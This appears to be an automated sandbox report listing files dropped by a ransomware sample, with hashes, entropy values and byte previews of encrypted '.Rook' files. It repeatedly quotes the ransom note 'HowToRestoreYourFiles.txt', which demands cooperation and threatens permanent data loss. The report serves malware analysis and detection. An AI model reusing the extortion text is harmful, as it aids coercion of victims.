SHA-512:	2C36506E2B9041265DB81BDF332867E156125FC1BB96D31D5C97193F3070A76D8425CB57F941217C905EB7F64A9A9BCB2A27226FA1820A865F2EE5B862DB17D0
Malicious:	false
Preview:	....G....j...2..RQNKVCEQUFBSMCGT.L.............&YDHXTQPNHHFHJTMIBd$.pn....l...pIPWCYHGFUQMXUYJB.z..z}......oD.AXLAZTIQUNTNPGER.......J......UNSGUFMHVRZKTGCTD;..+.WJ..\|p..e.SLPJQVAUHFJGITHW......Ld.m...UCPJMVLNEPNKDIZK.....HF. .....RLUSQRQMRUGCFVVHe.m..I`.J...c.XSYOTZHCRWDCIILVD...^?.8z...i..}KZLEBJFPCBFWGQGWO.5O{.Y.N.>-.SQGDDEIOTQFNFCPB....d.(.BH.....YAPHBDYRWVLPTNZQ...~.bH...-....OHUQUMEVRRXBUGYMW...U...\......TODUBHKLIIDLWFSVV......!+uV5...AGSWTRHIIZFLUSWO5...2.E..-?...RRYRKRAUTQQLIUHDWmU...D....>...FTTKYLQLJJTEVOLX.a.'\..u/kv>X..LOLZCIBSUKLPDJXJ.>.......w...t..OMTIWZMXNMUQTDLW.hp._J\|.*.f....DSWMKJERKRVNPKGT.q.g.n...j.v...MUUYOBVXGHJPZEQKPq..c.>r!s.\|.#..ZKEDUCRZKCLMBUTI...r`..]5.$.-...SVSHOIOGCLWGQOYRc.p..'.!..~...TSTZBWQMCLPDYWEX>).t.N.i.7..Dr..DHOPGLEHJPRKNWCK.n.....D...[....NVXHVKISJRPDYQBK..m.X6.#^.Z.FTFSIVNPFOAYLIRB\..1.4j/...N4..JPFGRFFPXAQEEPWY...v.(`u..]vv?.WRCBJRORHQBKISQFF....tA..8....V@LETKBEANFDVZBQHUO~a...e..g...Bq[dJEEGGSIDPOLYQHTC.dk.Xn

C:\Users\user\Desktop\DUKNXICOZT.mp3.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.839260269776871
Encrypted:	false
SSDEEP:	96:NnznWujmXD7Ko4/AAUn5U50+NS43LPuLjv:NznjWSoiM5U50B43LPun
MD5:	FB2125A14291A979F76A8F7C5249B3D9
SHA1:	E0BF4B17D4569D85BD01A33420FFEC131DF49866
SHA-256:	A0D56C6FEE32830DD6D7200859172F79B2D597787747F107ED6F3A3E5E54326A
SHA-512:	17EFCFC323FDFA17C0A1C239DDD53ED2D3DCCED409D6ADBE62B894F8AF11038E9E8C106504A8A7A8DCB100B188EE5EB11F20337E9932AD0843DB73F48560958B
Malicious:	false
Preview:	.(.U...it.7..].RQNKVCEQUFBSMCGT.;.=.<.PTX..KYDHXTQPNHHFHJTMIl...\|..Y.....p.IPWCYHGFUQMXUYJBR[...l\|..?....PAXLAZTIQUNTNPGER\c.H...`.$+..UNSGUFMHVRZKTGCT... .O.L....U.b.SLPJQVAUHFJGITHW.\|.......bbQ._UCPJMVLNEPNKDIZK.}q../..=.C...RLUSQRQMRUGCFVVH.n.q.w..y......SYOTZHCRWDCIILVDV.J.....&2.%....KZLEBJFPCBFWGQGW+.CB..W...W.#w.SQGDDEIOTQFNFCPBi...@.(.....P..YAPHBDYRWVLPTNZQ..tm......IffOHUQUMEVRRXBUGYM....N.T......ETODUBHKLIIDLWFSVC..LRw..gH...k2AGSWTRHIIZFLUSWO8.Q....f. jr.\RRYRKRAUTQQLIUHD...J.;..{W.+..,.FTTKYLQLJJTEVOLX.....y...._hZ..LOLZCIBSUKLPDJXJ{...s...~.~.....OMTIWZMXNMUQTDLW.lZN........R.8.DSWMKJERKRVNPKGT....F..?}..K...MUUYOBVXGHJPZEQK ....r..[.....{.ZKEDUCRZKCLMBUTI....J.<u.0!r....SVSHOIOGCLWGQOYRfl.''y.....F.vTSTZBWQMCLPDYWEX.!.......i.....DHOPGLEHJPRKNWCK.).3.IP_>...q.BNVXHVKISJRPDYQBK...A-4.478..@..FTFSIVNPFOAYLIRB.....n..!....2.JPFGRFFPXAQEEPWY)..{[.CB.,.....RCBJRORHQBKISQFF....J..L.y.+C.ETKBEANFDVZBQHUO..e..t.W...Q1..`JEEGGSIDPOLYQHTCSv.SV.h'

C:\Users\user\Desktop\DWTHNHNNJB\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Desktop\ERWQDBYZVW\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Desktop\Excel.lnk.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	5000
Entropy (8bit):	7.402073713820441
Encrypted:	false
SSDEEP:	96:oTtOYtrM/pqiApS8vzZKQd0kA/7Ko4/AAUn5U50+NS43LPuLjv:ogUrM/FEHd0L+oiM5U50B43LPun
MD5:	1CEA6761A36023DC95C099FE35A3542F
SHA1:	8E771AD5F2536D94B3FB88F3A00D4AA44355D587
SHA-256:	EB259C77F6BF550062FAA76660EA215A05B3065D9C5A4A6109A38E4A4565D8A4
SHA-512:	2BC5AA3E8BA1F9F6BD741393D2C969E9ADE95EC30E02016FF4867135CE1ED7222B7D15C03DB3CCE976668B3780CE3E978687EA3C391191236609737B0F22B069
Malicious:	false
Preview:	....$.P...%&..S...F.@.. ...G_.D..?.....A....@...S..0+..........U...I.$...+k}R..P.O. .:i.....+0...Uk..I..,l"................1..<.4n.].}..)U.:..1..t......sN.&....b..]A% .9...........J........K...p...@q..6`...F.i.l.e.s...@.s9...>.S.f.&.3...l.l.,.-.2.1.7.8.6..5)....N.ocy%R....MICROS~2..R[....nb..+...S..................B.2~(0M.)..%....c.r.o.s.o.f.t. q.L....!A..,.B...N.1......R....r+..'\.........b..R.............X.L.;....."y. ...r.o.o.t.....ZH.s..f~}.\.....ice16..B........y..4l{4&......................q.%........].SSs.1.6.....\.2.0+...H.x.w. W=p.$,.D......Rz..R..q.V..6.^.I..\............k...E.'m......y...T[M.......h........3.Q....@..0...............;S...>{..\.Bq...:..iles\Microsoft O..,..:.=.r.Y.(.8e16\EXCEL.EXE..>../t)g.a...8....i.s.c.o.v.e.r.,...M.\..[..`.Q.u.z.e.,. .a.n.d. gZ._N.08t.R..t...s.i.g.h.t.s. .f.Arp..\P...j.q.. .d.a.t.a...E.......j)^..`.<>[V.....\.....\.P.r....Y..jS..O.=...l.e.s.\.M.i.c.r8.8<].T...d..}..f.i.c.e.\.r.o.o....=.>..Q<.K.B..1.6.\.E.X.C.E.L...a&/5.

C:\Users\user\Desktop\FAAGWHBVUU\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Desktop\GNLQNHOLWB.docx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.849670016361554
Encrypted:	false
SSDEEP:	96:8b0LY5P469jRhp7Ko4/AAUn5U50+NS43LPuLjv:MP7tR2oiM5U50B43LPun
MD5:	F7BDFA533C065049317710EB85F3DEB2
SHA1:	93D41ACF276E0332F9AB5E78EA4516B03AC6C6AF
SHA-256:	E04C4E80029DDE55F10BF5E8FE5E6DE20B5D74D9A1E991A04104B61325F99720
SHA-512:	8AB3B25CBDBB4A5383F735C0E1F229EAC598F306153D6425072F70ED68DE426CA611200D679507B667EBD419108D0F5D316EBA5EDA97BE88C4CE37E843FCF94B
Malicious:	false
Preview:	.bClx......e.6..TLNFGJNNXMGUZOMC.......Dl.I."SC@VRYLBVHOHRRAZCZO....o."G....(..4LDYZAFJGGGUXKDFD`. h}.r.k..i.?.KNJPXNWQKOEVEVLWV...Sk.x,4^r..rDUZGGIUHFXGBKGLA..xd....V.0.t.A.HYWEKXXBEZZVPBKV..nkP..D\|.z..eVQNAPBMPJOZNNFCD..\|.&...r.'.g..SRGZTGXSYUNNLKZK6......k...+..LHMWTCZYYSGNSZQW.....B........ZVFQGHKVENDXCIHQ`.3..V\...-.r..JHTLGYJROSCXNGTC.>Y.........XTRIYCZVDEDWKBEH::....&&6..F[Tu.VFLHQRXMYLCHQAJK)..........8....HVBDNWQMACXDCGCPY.. ...%..c.Q..IUJMXEBPBCWJDOKOS..2p7.w....!.R..YQVAUUYDVCYUHDRU..K}.....1B.K{.SHICTVCMWIDPOKQM.c..T....e..R.WWFNEKDLAVDZNBHH..q...`....):^.SVJTEIAUJEHUVHRJ.y.m!dK.....+DNGHYAESSKWHOCXLU. Z.8....F...0QEPWVDSSTKTYQDQT....._.R2#.t.a.RECDIFCMPKXTYYNG...f...q=ZS.E.XULORZGHRQIQWLMHMCt..-..;X.0...\MPWAGGPUJXOOYWOG".8..1.......p.LSJECCOVZVTAPKGA.0*..........oEXBKKPKPJFJOKZKMP....`UI..dt..KEJJHHOVFETVBBFB.d2.p6.L.xkv...6RJUKYZTGOFQUAVOG..B.1.)}....p...IRYUATBQRRVCNMFM.:..>...YH....CICPBMURXQOIITZC.z-..p.i3Y"dqa.ALRYCNLFILDCLQXDfez....W

C:\Users\user\Desktop\GNLQNHOLWB.jpg.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.844462295432064
Encrypted:	false
SSDEEP:	96:E7nIOJJV6QhyFt5B7Ko4/AAUn5U50+NS43LPuLjv:WCJL5woiM5U50B43LPun
MD5:	93E6CE71D6D5FEF201D44FF86AE23CCC
SHA1:	640DF63B2625875ADF752D41EEAA23BEDEFC7E38
SHA-256:	6F58B057551A762A010F887F25183B73AFCB9A2D58AE1A843B8B2CA0DDE2C048
SHA-512:	22CFD2939A7CEA0A2A5D9574B6B1E0E419D90610A678D1826CDB7E02E4FB2CEC780B31957A9BB5B74B6F9B59C0AEFAA21994AC7E11708707BAE91B672EEF67A3
Malicious:	false
Preview:	)`X.2..Ayr3.N...TLNFGJNNXMGUZOMCqZ...w....Ltg.VRYLBVHOHRRAZCZO3..t_....Z..J.9.LDYZAFJGGGUXKDFD...........@...:KNJPXNWQKOEVEVLW...f.h....0...v.DUZGGIUHFXGBKGLA.0^<`f.....Uz..HYWEKXXBEZZVPBKV.......u....(S.VQNAPBMPJOZNNFCD.E.,~..v..d.L7..SRGZTGXSYUNNLKZK_..K<.. .I#...LHMWTCZYYSGNSZQW...[;....iI.DiC+ZVFQGHKVENDXCIHQ.zl.}..L.iI.)sJHTLGYJROSCXNGTC6.w....n.."..GXTRIYCZVDEDWKBEH..6.~....<.4.q..VFLHQRXMYLCHQAJK...B..2G 96.U.U.HVBDNWQMACXDCGCPdCD7u..p.F.....UJMXEBPBCWJDOKOS..#..^.;.D<.J.1YQVAUUYDVCYUHDRU...."{.b..VU...JSHICTVCMWIDPOKQM1....*O0Z...55..WWFNEKDLAVDZNBHH...+.&.'K.T[.V..SVJTEIAUJEHUVHRJ...._..\..fy.7DNGHYAESSKWHOCXL<?)...X..,+v.U.=QEPWVDSSTKTYQDQTTV\bo..d....j..DRECDIFCMPKXTYYNG.\.eX.!...1SMkr.ULORZGHRQIQWLMHM.(...E..@.D.).4:MPWAGGPUJXOOYWOG<M.=.'.....x..WLSJECCOVZVTAPKGA....ep.)..w.\|uZXBKKPKPJFJOKZKMP...o?..i...;..$aKEJJHHOVFETVBBFB9# U..#....#D..RJUKYZTGOFQUAVOG.p......Z.....$IRYUATBQRRVCNMFM.T....~.._.a.V..CICPBMURXQOIITZC9.j$.jq&.3...3X ALRYCNLFILDCLQXDx{..n&..

C:\Users\user\Desktop\GNLQNHOLWB\BWETZDQDIB.pdf.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.839167168960611
Encrypted:	false
SSDEEP:	96:pDwVsZaXphb4Mr67Ko4/AAUn5U50+NS43LPuLjv:qVsZahUYoiM5U50B43LPun
MD5:	6C24572D782B68CAC72D6DE33760C8D6
SHA1:	74A32D9292679B211EE346F21FF13AB535AEA120
SHA-256:	B9FF1B32481F4E45B22C5E14D3AB7375FDF9DE805F4F2525D8C55667729BE2C3
SHA-512:	AF7351DDABA46D54BDFC3A87C9D4FF7074FD81799288FA99FA30350366501CA76BA23B1E535EB96F9793275308352BBA1CBD5F988570ACF0FCA320E44B72531B
Malicious:	false
Preview:	...D.`r..@]LM...DOQRLAJJXRDBLDFB,}..H.i{.Sk....GAQRDCJJEFDABYZY..f....._......YXAGPARMQITJGBTEI....hQ.yT@(=..^GWWXSQPINXVZNICU...k.T..J....{.KSUOMUYXXJBNRHSW..s....q.6?=mE.[DIRHMCIKNAEITRDM..lN.J..\|..,...AJBGSTOEKDCPMFHUr.L.._Kx.\up...6JMKIKGFSROJUBEFT..-d..i!....\|\|.AOCQRTZMAWJSRSIP^.%%....aK......PJSZDERJOBZOXMTB.2H..C.k .6.^.FAZLAAQLHHEELXVS@...?d.(E....%..LEJZMVUVUNOVPOXE....B.....U>..~.JYAFFYQCUVNCGKNU.*C;....8.B....)GQCDDWUZCRICRCAW._}...~6..b.X..NVXJFJSEWZTEBNFJ.VGTM...E&b...kHISPEAOYYRCQBCBDI...$....`.-....OHGITMKUFLEYTFZJ.....;.HW..{..XZSQUHXXSALOPVLOu.v..s}^....Q.rWOWOIRHKGVVRHMXL4...d.~..Ab....uRVMAWAQNDVBPJGZQe0..Y...).}A\|.mpTKGQVYKDTHZMKOXX....3.....6D..EBDTDWEOKDABJHEN._>.......i.7.kKFZSMFYJWSBWYPLP.R..N..v..U....QHPGAVCMUTSEWICD.Y.(.j...Q.7.Q9VGDEQWVLICXXRGZL)fB..\....7.ABSFGBTCWHWOQFRE!s...S..!HO.~G..VFVHIYCSSHMLTNWXw...O.(.[\.....TGZFHOYCMPKIHBEG..m,4B....P}N..xTMRYSLNISEZDXWUXOl...S..NR.0....OEZVUJEMDKMJMIMP(...GK..).1..J..JWOHIJSOTCNEGSSE.....w.}

C:\Users\user\Desktop\GNLQNHOLWB\DUKNXICOZT.jpg.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.844115913223615
Encrypted:	false
SSDEEP:	96:NAxRyftUB7Ko4/AAUn5U50+NS43LPuLjv:6n0tfoiM5U50B43LPun
MD5:	93FD53E4A4688B573429DC06A52B1FFF
SHA1:	25D23ED40DE67075CA31486C9FDFCD1CBE4D868B
SHA-256:	25E406508F9093E1A602B1987DDCBEC9E4042053B66119112155830CF11A6B7B
SHA-512:	613CD137EFCADE6E04818C27E3A4B03F794B1A7F8F4390115A6186C2B6304590BE03EE6300E72322CE2C0C427D9A5A2BBCA2980191FFDBD29226EA36AA0EE7EE
Malicious:	false
Preview:	.q...?.j....7.lRQNKVCEQUFBSMCGTh...Ti.V..:....YDHXTQPNHHFHJTMI..'....{.....]dYIPWCYHGFUQMXUYJB...V.I.....>....AXLAZTIQUNTNPGERi...`%k..o~.9z2.UNSGUFMHVRZKTGCT_.F.).....)...gSLPJQVAUHFJGITHW..?'+.;...y..v.[UCPJMVLNEPNKDIZK...3wS..J.4,...RLUSQRQMRUGCFVVH....O.]...\|..c.SYOTZHCRWDCIILVDg...O.....g..KZLEBJFPCBFWGQGW.{\....;zy.....SQGDDEIOTQFNFCPB...J.A..y...b..YAPHBDYRWVLPTNZQD.!`.w...-..j.;OHUQUMEVRRXBUGYM.k_...."'.../...TODUBHKLIIDLWFSV...o.l.H..*....AGSWTRHIIZFLUSWOj.9(.....w..E.<.RRYRKRAUTQQLIUHD3U..;MU....L....FTTKYLQLJJTEVOLX....!...q.fK....LOLZCIBSUKLPDJXJ.....#w.[...+.lOMTIWZMXNMUQTDLWc..X.02..J..XD.DSWMKJERKRVNPKGTD..Tp(.,.."Y.x..MUUYOBVXGHJPZEQK.....u..X.:f.GZKEDUCRZKCLMBUTI.B.>.Zr.8....._SVSHOIOGCLWGQOYR.Z.....4..5...5TSTZBWQMCLPDYWEXx&..!q...M;.o..:DHOPGLEHJPRKNWCK.xp@.s..9{..f...NVXHVKISJRPDYQBK.Fk....>..Oo...FTFSIVNPFOAYLIRBj....?.p...N.#..JPFGRFFPXAQEEPWY!.> ..t......B.QRCBJRORHQBKISQFF....S.m.X..r....ETKBEANFDVZBQHUO.....])8Xs......JEEGGSIDPOLYQHTCx\|.....

C:\Users\user\Desktop\GNLQNHOLWB\GNLQNHOLWB.docx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.845457906376026
Encrypted:	false
SSDEEP:	96:QfPz16izXDj9pY57Ko4/AAUn5U50+NS43LPuLjv:NKzoiM5U50B43LPun
MD5:	08D27FAC994C9AB909D85A9073814850
SHA1:	E46B47CA08410AA61CADEC60D0AA1DAFCE2DA453
SHA-256:	E584540EE022BB744E1E32DE335FA77A7F26BA36E4795B7F440B8DF368C4EAE1
SHA-512:	030A502116B987E8EACA86839268E8D121C683A7662471ED6DFC789DCC7920C0F80FE8A30B38630E3A2833D4E1FCADEDFA242F285666C6A096DF9A3FAC43F891
Malicious:	false
Preview:	..x..)..........TLNFGJNNXMGUZOMC...)...k.....u.VRYLBVHOHRRAZCZO.1.,......H..>r.LDYZAFJGGGUXKDFDa.09.......>=1!KNJPXNWQKOEVEVLWR..#j...a.q....KDUZGGIUHFXGBKGLA..u..@.W.s..V.HYWEKXXBEZZVPBKVh......i.....\|VQNAPBMPJOZNNFCD.?d..#......v..SRGZTGXSYUNNLKZK..e.k...A.`T..$.LHMWTCZYYSGNSZQWP\|......,....ZVFQGHKVENDXCIHQW........6...NrJHTLGYJROSCXNGTCt.......H.A..I..XTRIYCZVDEDWKBEH.".f.. .tP\e0...VFLHQRXMYLCHQAJK\|.....5.P.].{y.bHVBDNWQMACXDCGCP#=,..s.%.jW...nUJMXEBPBCWJDOKOS...-......2..YQVAUUYDVCYUHDRU.....XCt....;=..SHICTVCMWIDPOKQM?..b9.%.\[..%.w.WWFNEKDLAVDZNBHH.?...q...d....SVJTEIAUJEHUVHRJ`.j....r..y.\|...DNGHYAESSKWHOCXL...&M...O.j....QEPWVDSSTKTYQDQT'..PL.m-.If.'W.yRECDIFCMPKXTYYNG.U.....o..e...PULORZGHRQIQWLMHM,i......4.......MPWAGGPUJXOOYWOG.......%..\....LSJECCOVZVTAPKGAf4...-...,..>Q.6XBKKPKPJFJOKZKMP."...?.h....x.+KEJJHHOVFETVBBFB)..l....o.#S.mRJUKYZTGOFQUAVOG...i.....">T.V.IRYUATBQRRVCNMFM$:L.V.S7.18.}..CICPBMURXQOIITZC.u...Q...WAu.&.ALRYCNLFILDCLQXD..c..j..

C:\Users\user\Desktop\GNLQNHOLWB\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Desktop\GNLQNHOLWB\MOCYNWGDZO.mp3.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.8443679395015815
Encrypted:	false
SSDEEP:	96:LnVmU4LrTVtc7Ko4/AAUn5U50+NS43LPuLjv:LVI3jboiM5U50B43LPun
MD5:	E736CBBD1321DBCE25ED529CA5C47F41
SHA1:	613075C2CBD152FC7279308B2FB40BFA087D5B6B
SHA-256:	9B80B2B999EC1A9CCC3AF4D070E90B86E0DD1390E90B3738B29DF702BAF7B0ED
SHA-512:	998D0104653EE700652F967976C5007F9DEF7E3E55E99A3F92C1AE21E8EF643B94AAD8DF7FC53BE71D8E8329197047E850462C157B61C88AEF54B50680418664
Malicious:	false
Preview:	.QK.S..8_..o.=.vJXWVEXMAZFCWSNOWOM$"N.....t..u.HLBXCGJHPEXXNITWId~..m... -0..AJXVPGEGUUVNIULVn.c..X..qq...=QLFMFVJSUAERDAOEt..5s..._?t.....POVOPJCCCIRHICKB...4...T...Y:.XNGLJVGIIOILNEGR.0...$......l$uIXQSKJBXKIFCRLYY......../.9a.a.ZAVQFYHZABDTLXVAj.p..#..v.9 ..QERHWCUHUXUKEFWIV./.....g>.\|H^D0AFUTOVRONZDHUXIFQ...[.$.Y.@.xLXXSWHSGEXQUJJJPP...vr}..b.G9..H.TNBTYWXROFLGNORH5[.qr....U62....FZMOBYNLQKULZXGF.-.......'..N.UKPVCPCODHNRUCNI;O...)`~(."..G..IKCICNBANPAFLEBC.+.!%..@X..nM$.\|HJKNQCGLYXDMZXWG....Z...$.... ."TGWEOAMFOBBYVXBOn.jz..M..n..O...DGYSUMJSEPOOUIJX.%QD.4...KT)..vDLPWJOTMIEEMHNPFr....N...0....]QIESJYVVLEKLOMGF.u...-.R...'q6.sUDOKZQPAXNCAPSBP+. ......n1.D...JCCAQCXTWKOWHYFPZ.e.b..s...*.`..KOAZWPTIBAXVJBVT..i.k 4e...^...JASIGFSMFGUQTTIV...p.OG.ND'.<..XSOZBKGHVKBXJLPU........}N.^...JQRJIYYBQXNICKPC.%a.......&i...XDPXMXSNTZMUCAYAOK...pL..7..>EM.OUKPWZTRQWNNZMUV0-:..B.E..9..hQPQBRRAIQVXYOMSYQ..,....$j...5.[ZFXJJENJOZVVDSEE.....\l.rU....y@VIKUPOBCYKBYFFBL.V..`..

C:\Users\user\Desktop\GNLQNHOLWB\UBVUNTSCZJ.xlsx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.836036662020717
Encrypted:	false
SSDEEP:	96:Hm6HQN9cKTd419UjIGm7Ko4/AAUn5U50+NS43LPuLjv:Hm9N9ck6fYtoiM5U50B43LPun
MD5:	8536B8B9273459D191DB4984C0D0EB66
SHA1:	989582C94C87CC8EE793766D1BF1613C3F14D852
SHA-256:	8B597903445FB06EFEEB964A01B66F0D26409E7FDC80310BAE4B28773DC62E24
SHA-512:	A4B52D606EC57D6292C7FD2570A99C0A664D2EFB04DEDA5E221FEF9C6FE7FF31BC4C12D9EDD65BB8306BD5AA5DB578FA91C162FD6ACF9D7D2C44FDD5844EA10D
Malicious:	false
Preview:	fGnsn.t..(.Q.U.<ZLCTIUQFFTUXDGDMU...FP...G.6..STOXKFSFTPIFBIKUl..?..kD..aDHk..EEEUNDVTZSSGPULU.I...M.J8.\...1OQKVROLRJDHOOHJX...Xo....-8..}0.EJCKLRVWCOLIIJKX.(Z.(..RS:.x..-.CFIUBQJSAAGFSLSZ8..w,f._.oh.p..PVRABMEABTSRVNHFA..K.....+.z.*.CHWOENBPZIRFFNIB.n..z..'.$_B.:JYXIRUTOLTBLVSGV..g{...3..S1D.UPGXTFQAUQFHGAFMBNs.W.s.o1_.BU.NIIKVYFFALFRMJLP..I3!$.2..\....VCRRTIKWLRPMCWOU..~.M...r....9.IZVGCFNRVDQJDBZF@....2..'....FRJEDQXOLNJKZEAK.a....{....fd..GTRTDUFPLZDAQZOEV..1.zc..i.....8,ENCESIPRLRHJPSJI4J.u.....H...$.PMJSJVKIRCJDUJTB.s.D~....H.l....CATMJTIPRCDTICNC...Z8.'.sP....HVRUZXEVVHOCRAMAN.....6...+'..'..FOMUVYGSTOPSLYTH.L.c......"...0FBISOCNEJQIQSHCE..1..K...:.=..&LQLKPGBGVXXCAGMQ%...3[y..+.]...OXXERANPKKZPXOUE`.L....8%.~..\l.LBBDDBNPFYMAIQENJ....".T..u;.].QZBZOZJSXPYCMWYG&......d.B30o.H.MREQFHKKODROXTZN. .I#X.21`....RVIHZNACJEUFOKBT.o.v.{.r..s.f...SNIXNUGQEZKRSOOH9&..g.........4~ATAIQUBESVNNUPBTr.P..Z:.,..5^9z.SXPLFTUDGBIUBNBE...5c{..WJ.WJfH.UAERIXPFMGENDQBP7...R;..

C:\Users\user\Desktop\GNLQNHOLWB\ZUYYDJDFVF.png.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.838388167338261
Encrypted:	false
SSDEEP:	96:rVV5xxWp2e7Ko4/AAUn5U50+NS43LPuLjv:ZSp2loiM5U50B43LPun
MD5:	703BB62D8DD33B065BCA835369D4C0DE
